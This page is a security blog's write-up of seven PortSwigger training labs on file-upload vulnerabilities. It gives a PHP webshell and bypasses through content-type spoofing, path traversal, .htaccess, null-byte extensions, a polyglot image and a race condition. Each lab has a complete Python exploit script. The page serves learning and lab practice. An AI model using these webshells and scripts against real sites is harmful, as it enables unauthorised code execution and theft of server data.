SecJournal
  • 👋Welcome
    • SecJournal
    • About Me
  • 👨‍💻Blogs
    • My Blogs
      • Malware
        • Fake WinRAR 0-Day
        • Github 0 Days
      • Scams
        • Social Engineering
        • May Chong
        • Liu Hongtian
        • Packing Green
        • Richard Spindler
        • Ukraine
        • Coalition Tech
        • Telegram Customer Service
      • Exploits
      • Random
        • Upgrade Shells
    • Course Reviews
      • OSCP / PEN-200 Review
      • Certified Red Team Operator (CRTO) Review
      • Certified Red Team Expert (CRTE) Review
      • OSWE / WEB-300 Review
      • OSED / EXP-301 Review
  • 🔐What is Security
    • Information Security
    • Getting Started
      • CTFs
      • Hacking
  • 🖱️Website Security
    • Disclosed Bugs
      • Dutch Government
      • Algolia API Misconfiguration
    • Web
      • MVC Framework
    • SQL Injection
      • Portswigger Labs
    • Access Control
      • Portswigger Labs
    • Authentication Bypass
      • Portswigger Labs
    • Business Logic
      • Portswigger Labs
    • Information Disclosure
      • Portswigger Labs
    • Directory Traversal
      • Portswigger Labs
    • Command Injection
      • Portswigger Labs
    • File Upload Vulnerabilities
      • Portswigger Labs
    • Server-Side Request Forgery
      • Portswigger Labs
    • Cross-Origin Resource Sharing
      • Portswigger Labs
    • Cross-Site Request Forgery
      • Portswigger Labs
    • Cross-Site Scripting
      • Portswigger XSS Labs
      • Portswigger DOM-XSS Labs
    • JSON Web Tokens
      • Portswigger Labs
    • API Testing
      • Portswigger Labs
    • WebSockets
      • Portswigger Labs
    • Deserialization
      • Portswigger Labs
    • Prototype Pollution
      • Portswigger Labs
    • Server-Side Template Injection
      • Portswigger Labs
    • XXE Injection
      • Portswigger Labs
    • Web Cache Poisoning
      • Portswigger Labs
    • HTTP Request Smuggling
      • Portswigger Labs
    • OAuth Authentication
      • Portswigger Labs
  • 👀Buffer Overflows
    • Buffer Overflows
      • System Architecture
      • Compilers, Assemblers, Debuggers and Decompilers
      • Binary Security
      • Address Manipulation
    • OSCP BOF (OUTDATED)
    • Ret2Libc
    • ROP Chaining
    • Canary Bypass
    • ASLR Bypass
  • 🖥️Active Directory
    • Active Directory
    • Tools
    • Windows Authentication
    • Kerberos
      • Delegation
      • Attacking Kerberos
    • ACLs and GPOs
      • Abusing ACLs and GPOs
    • LDAP
  • ✍️Writeups
    • HTB Season 3
      • Analytics
      • Appsanity
      • Codify
      • Devvortex
      • Drive
      • Hospital
      • Manager
      • Napper
      • Surveillance
      • Visual
    • HTB Season 2
      • Authority
      • Bookworm
      • Cozyhosting
      • Cybermonday
      • Download
      • Gofer
      • Intentions
      • Keeper
      • Pilgrimage
      • Rebound
      • RegistryTwo
      • Sandworm
      • Sau
      • Zipping
    • HTB Season 1
      • Agile
      • Busqueda
      • Cerberus
      • Coder
      • Format
      • Inject
      • Mailroom
      • MonitorsTwo
      • OnlyForYou
      • PC
      • Socket
      • Snoopy
    • HackTheBox
      • Easy
        • Academy
        • Access
        • Active
        • Admirer
        • Antique
        • Arctic
        • Armageddon
        • Backdoor
        • Bank
        • Bashed
        • Bastion
        • Blue
        • Blocky
        • Blunder
        • Bounty
        • Broker
        • Buff
        • Curling
        • Doctor
        • Driver
        • Explore
        • Forest
        • FriendZone
        • Frolic
        • GoodGames
        • Granny
        • Heist
        • Help
        • Horizontall
        • Irked
        • Jerry
        • Knife
        • Laboratory
        • Legacy
        • Luanne
        • Love
        • Mirai
        • MetaTwo
        • Nest
        • Netmon
        • Networked
        • Nibbles
        • NodeBlog
        • Omni
        • OpenAdmin
        • OpenSource
        • Optimum
        • Paper
        • Pandora
        • Photobomb
        • Postman
        • Precious
        • Previse
        • RedPanda
        • Remote
        • Return
        • RouterSpace
        • Sauna
        • ScriptKiddie
        • Secret
        • Sense
        • Servmon
        • Shoppy
        • Support
        • Soccer
        • Spectra
        • Squashed
        • SteamCloud
        • Stocker
        • SwagShop
        • Tabby
        • Timelapse
        • Toolbox
        • Topology
        • Traceback
        • Trick
        • TwoMillion
        • Valentine
        • Validation
        • Wifinetic
        • Writeup
      • Medium
        • Ambassador
        • Arkham
        • Atom
        • Backend
        • BackendTwo
        • Bagel
        • Bart
        • Bastard
        • Book
        • BroScience
        • Bucket
        • Cache
        • Canape
        • Cascade
        • Catch
        • Chaos
        • Chatterbox
        • Clicker
        • Cronos
        • Devoops
        • dynstr
        • Encoding
        • Epsilon
        • Escape
        • Faculty
        • Forge
        • Forgot
        • Fuse
        • Giddy
        • Haircut
        • Hawk
        • Intelligence
        • Interface
        • Investigation
        • Jeeves
        • Json
        • Jupiter
        • Lazy
        • Lightweight
        • Magic
        • Mentor
        • Meta
        • Monteverde
        • Nineveh
        • Noter
        • Obscurity
        • October
        • Ophiuchi
        • Outdated
        • Passage
        • Pit
        • Poison
        • Popcorn
        • Querier
        • Ransom
        • Resolute
        • Retired
        • Schooled
        • Scrambled
        • Shared
        • Shibboleth
        • Silo
        • SolidState
        • StreamIO
        • TartarSauce
        • Tenet
        • TheNotebook
        • Time
        • Unattended
        • Undetected
        • Unicode
        • Union
        • UpDown
        • Vault
      • Hard
        • Acute
        • Blackfield
        • BreadCrumbs
        • CarpeDiem
        • Extension
        • Falafel
        • Flight
        • Holiday
        • Kotarak
        • Mantis
        • Monitors
        • Object
        • Oouch
        • Pikaboo
        • Pollution
        • Quick
        • RainyDay
        • Reel
        • Registry
        • Search
        • Seventeen
        • Talkative
        • Unobtainium
        • Vessel
        • Zipper
      • Insane
        • Absolute
        • Anubis
        • APT
        • BrainFuck
        • CrossFit
        • Derailed
        • Fighter
        • Fulcrum
        • Hathor
        • Multimaster
        • pivotapi
        • Sekhmet
        • Sink
        • Sizzle
        • Stacked
    • Proving Grounds Practice
      • Windows
        • Access
        • Algernon
        • AuthBy
        • BillyBoss
        • Butch
        • Craft
        • Craft2
        • DVR4
        • Heist
        • Helpdesk
        • Hutch
        • Internal
        • Jacko
        • Kevin
        • Medjed
        • Nickel
        • Resourced
        • Shenzi
        • Slort
        • Squid
        • Symbolic
        • Vault
        • Vector
      • Linux
        • Apex
        • BadCorp
        • Banzai
        • Blackgate
        • Bratarina
        • Breakout
        • BunyIP
        • Cassios
        • Catto
        • Charlotte
        • Chatty
        • ClamAV
        • Cobweb
        • CookieCutter
        • Deployer
        • Depreciated
        • Develop
        • Dibble
        • Escape
        • Exfiltrated
        • Exghost
        • Fail
        • Fantastic
        • Flasky
        • Forward
        • Hawat
        • Hetemit
        • Hunit
        • Illusion
        • Injecto
        • KeyVault
        • G00g
        • Malbec
        • Mantis
        • Maria
        • Matrimony
        • Megavolt
        • Muddy
        • Nappa
        • Nukem
        • Payday
        • Pebbles
        • Pelican
        • Peppo
        • Phobos
        • Postfish
        • PlanetExpress
        • QuackerJack
        • Readys
        • Reconstruction
        • Roquefort
        • Sirol
        • Shiftdel
        • Shifty
        • Snookums
        • Sona
        • Sorcerer
        • Spaghetti
        • Splodge
        • Surf
        • Sybaris
        • Synapse
        • Tico
        • Thor
        • Twiggy
        • UC404
        • VoIP
        • Walla
        • Wheels
        • XposedAPI
        • ZenPhoto
        • Zino
  • 🐍Evasion
    • Evasion
      • Windows Fundamentals
      • Detection
      • Malware Techniques
  • 🔺Adversary Emulation
    • Red Teaming
      • Adversary Emulation
Powered by GitBook
On this page
  • Lab 1: RCE via webshell
  • Lab 2: Content-Type Restriction Bypass
  • Lab 3: Path Traversal + Web shell
  • Lab 4: Extension Blacklist Bypass
  • Lab 5: Obfuscated Extension
  • Lab 6: Polyglot Webshell
  • Lab 7: Race Condition
  1. Website Security
  2. File Upload Vulnerabilities

Portswigger Labs

PreviousFile Upload VulnerabilitiesNextServer-Side Request Forgery

Last updated 1 year ago

Lab 1: RCE via webshell

To solve this lab, upload a basic PHP webshell and read /home/carlos/secret.

When logging into the given account, I saw that I was able to upload Avatars to the website:

The website wants me to upload a PHP web shell, like this:

<?php system($_REQUEST['cmd']); ?>

I tried to upload a cmd.php file, and it worked:

When viewing my new profile, I saw a GET request send to /files/avatars/cmd.php. This webshell allows for RCE:

To solve this lab, just replace id with cat+/home/carlos/secret.

Afterwards, I scripted the entire process.

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a86004d04e0743a81ec5291006b00b7'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)

print("[+] Login worked")
profile_r = s.get(url + '/my-account?id=wiener')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
upload_csrf_token = match[1]

file = {
	'avatar':('evil.php', '<?php system($_REQUEST["cmd"]); ?>', "application/x-php")
}

form_data = {
	'user':'wiener',
	'csrf':upload_csrf_token
}

r = s.post(url + '/my-account/avatar', files=file, data=form_data)
if 'avatars/evil.php' not in r.text:
	print("[-] Upload failed")
	sys.exit(1)
print("[+] Upload worked")


r = s.get(url + '/files/avatars/evil.php?cmd=id')
if '12002(carlos)' not in r.text:
	print("[-] RCE failed")
	sys.exit(1)
print("[+] RCE worked")

params = {
	'cmd':'cat /home/carlos/secret'
}
r = s.get(url + '/files/avatars/evil.php', params=params)
print(r.text)

Lab 2: Content-Type Restriction Bypass

Just reading the lab title told me what to do. In the above script, replace the file parameter with this:

file = {
	'avatar':('evil.php', '<?php system($_REQUEST["cmd"]); ?>', "image/jpeg")
}

Previously, it was set to application/x-php. When set to that, the website blocks it:

By changing the Content-Type header (which is the 3rd parameter in file), I can bypass this.

Lab 3: Path Traversal + Web shell

This lab does not check the Content-Type header, but execution of the webshell is not as straightforward.

For this, the lab title tells us that one has to combine path traversal with this. This means that the directory of which avatars are uploaded blocks the execution of PHP code.

As such, I can rename the file to ../evil.php so that it appears in the previous directory.

For this, I renamed the file to ..%2fevil.php, and accessed it at /files/evil.php instead of /files/avatars/evil.php.

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a7a001303a8c8d280b01c6c008700e2'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)

print("[+] Login worked")
profile_r = s.get(url + '/my-account?id=wiener')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
upload_csrf_token = match[1]

file = {
	'avatar':('..%2fevil.php', '<?php system($_REQUEST["cmd"]); ?>', "application/x-php")
}

form_data = {
	'user':'wiener',
	'csrf':upload_csrf_token
}

r = s.post(url + '/my-account/avatar', files=file, data=form_data)
if 'has been uploaded' not in r.text:
	print(r.text)
	print("[-] Upload failed")
	sys.exit(1)
print(r.text)
print("[+] Upload worked")


r = s.get(url + '/files/evil.php?cmd=id')
if '12002(carlos)' not in r.text:
	print(r.text)
	print("[-] RCE failed")
	sys.exit(1)
print("[+] RCE worked")

params = {
	'cmd':'cat /home/carlos/secret'
}
r = s.get(url + '/files/evil.php', params=params)
print(r.text)

The above prints the flag out.

Lab 4: Extension Blacklist Bypass

This lab has a blacklist on the allowed file extensions.

There is a file that is blocking my PHP file. For this case, I tried the .htaccess upload trick.

Firstly, I can try to upload this .htaccess file as text/plain:

AddType application/x-httpd-php .evil

Then, I can proceed with the regular script:

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0ac300df03d0d81981e626fa0045008b'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)

print("[+] Login worked")
profile_r = s.get(url + '/my-account?id=wiener')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
upload_csrf_token = match[1]

rce_file = {
	'avatar':('evil.evil', '<?php system($_REQUEST["cmd"]); ?>', "application/x-php")
}

htaccess_file = {
	'avatar':('.htaccess', 'AddType application/x-httpd-php .evil', "text/plain")
}

form_data = {
	'user':'wiener',
	'csrf':upload_csrf_token
}

r = s.post(url + '/my-account/avatar', files=htaccess_file, data=form_data)
if 'has been uploaded' not in r.text:
	print(r.text)
	print("[-] .htaccess Upload failed")
	sys.exit(1)
print("[+] .htaccess Upload worked")

r = s.post(url + '/my-account/avatar', files=rce_file, data=form_data)
if 'has been uploaded' not in r.text:
	print(r.text)
	print("[-] RCE File Upload failed")
	sys.exit(1)
print("[+] RCE File Upload worked")

r = s.get(url + '/files/avatars/evil.evil?cmd=id')
if '12002(carlos)' not in r.text:
	print(r.text)
	print("[-] RCE failed")
	sys.exit(1)
print("[+] RCE worked")

params = {
	'cmd':'cat /home/carlos/secret'
}
r = s.get(url + '/files/avatars/evil.evil', params=params)
print(r.text)

Lab 5: Obfuscated Extension

When trying to upload a file, this is the error I get:

Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>

Changing it to evil.jpg.php doesn't work. However, uploading evil.php%00.jpg works, and it is uploaded as evil.php.

The rest of the exploit is as per normal:

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a62005403c67b758140c51c00d0009d'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()
bypass_filename = 'evil.php%00.jpg'
filename = 'evil.php'

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)

print("[+] Login worked")
profile_r = s.get(url + '/my-account?id=wiener')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
upload_csrf_token = match[1]

file = {
	'avatar':(bypass_filename, '<?php system($_REQUEST["cmd"]); ?>', "application/x-php")
}

form_data = {
	'user':'wiener',
	'csrf':upload_csrf_token
}

r = s.post(url + '/my-account/avatar', files=file, data=form_data)
if f'avatars/{filename}' not in r.text:
	print(r.text)
	print("[-] Upload failed")
	sys.exit(1)
print("[+] Upload worked")


r = s.get(url + f'/files/avatars/{filename}?cmd=id')
if '12002(carlos)' not in r.text:
	print("[-] RCE failed")
	sys.exit(1)
print("[+] RCE worked")

params = {
	'cmd':'cat /home/carlos/secret'
}
r = s.get(url + f'/files/avatars/{filename}', params=params)
print(r.text)

Lab 6: Polyglot Webshell

This lab really checks whether the file uploaded is an image. As such, I just created a webshell like so:

echo '<?php system($_REQUEST["cmd"]); ?>' >> sample.jpg

Then, I uploaded this sample.jpg file with a payload embedded within it, but it didn't execute.

When I changed it to sample.php instead, it worked.

This means that the website was indeed checking whether a valid image was uploaded, but it still allowed the execution of PHP code.

import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0ad600b0049710fd845ca4de00eb0025'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
filename = 'sample.php'
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)

print("[+] Login worked")
profile_r = s.get(url + '/my-account?id=wiener')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
upload_csrf_token = match[1]

file = {
	'avatar':(filename, open(filename, 'rb'), "application/x-php")
}

form_data = {
	'user':'wiener',
	'csrf':upload_csrf_token
}

r = s.post(url + '/my-account/avatar', files=file, data=form_data)
if f'avatars/{filename}' not in r.text:
	print("[-] Upload failed")
	sys.exit(1)
print("[+] Upload worked")


r = s.get(url + f'/files/avatars/{filename}?cmd=id')
if '12002(carlos)' not in r.text:
	print("[-] RCE failed")
	sys.exit(1)
print("[+] RCE worked")

params = {
	'cmd':'cat /home/carlos/secret'
}
r = s.get(url + f'/files/avatars/{filename}', params=params)
print(r.text)

Lab 7: Race Condition

The lab has a race condition, and I suppose it is because it deletes the file quickly.

I found that using the NULL byte trick works:

Here's the code from the website:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

The problem with the code above is that it moves the file before checking it.

This means that for a brief period, the file is available on the website, and it can be used for code execution BEFORE it is removed via unlink.

This means I don't have to even use a NULL byte. Even if the website tells me the file upload failed, the file is still present on the website for a brief moment.

Using 2 Python scripts to exploit this race condition is the easiest.

There are 2 scripts needed, one to continuously upload a cmd.php file, and one that keeps trying to read the secret:

### FILE 1
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a5500ad03051e6f825cf21700d100c3'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()
filename = 'cmd.php'

r = s.get(url + '/login')
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', r.text)
login_csrf_token = match[1]

data = {
	'csrf':login_csrf_token,
	'username':'wiener',
	'password':'peter'
}

login_r = s.post(url + '/login', data=data)
if login_r.status_code != 200:
	print("[-] Login failed")
	sys.exit(1)
print("[+] Login worked")
while True:
	profile_r = s.get(url + '/my-account?id=wiener')
	match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', profile_r.text)
	upload_csrf_token = match[1]

	file = {
		'avatar':(filename, "<?php system($_REQUEST['cmd']); ?>", "application/x-php")
	}

	form_data = {
		'user':'wiener',
		'csrf':upload_csrf_token
	}

	r = s.post(url + '/my-account/avatar', files=file, data=form_data)


### FILE 2
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a5500ad03051e6f825cf21700d100c3'
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()
filename = 'cmd.php'
while True:
	params = {
		'cmd':'cat /home/carlos/secret'
	}
	r = s.get(url + f'/files/avatars/{filename}', params=params)
	print(r.text)

Running these two in separate terminals will eventually print out the secret.

🖱️
Using .htaccess to make all .html pages to run as .php files?Stack Overflow
Logo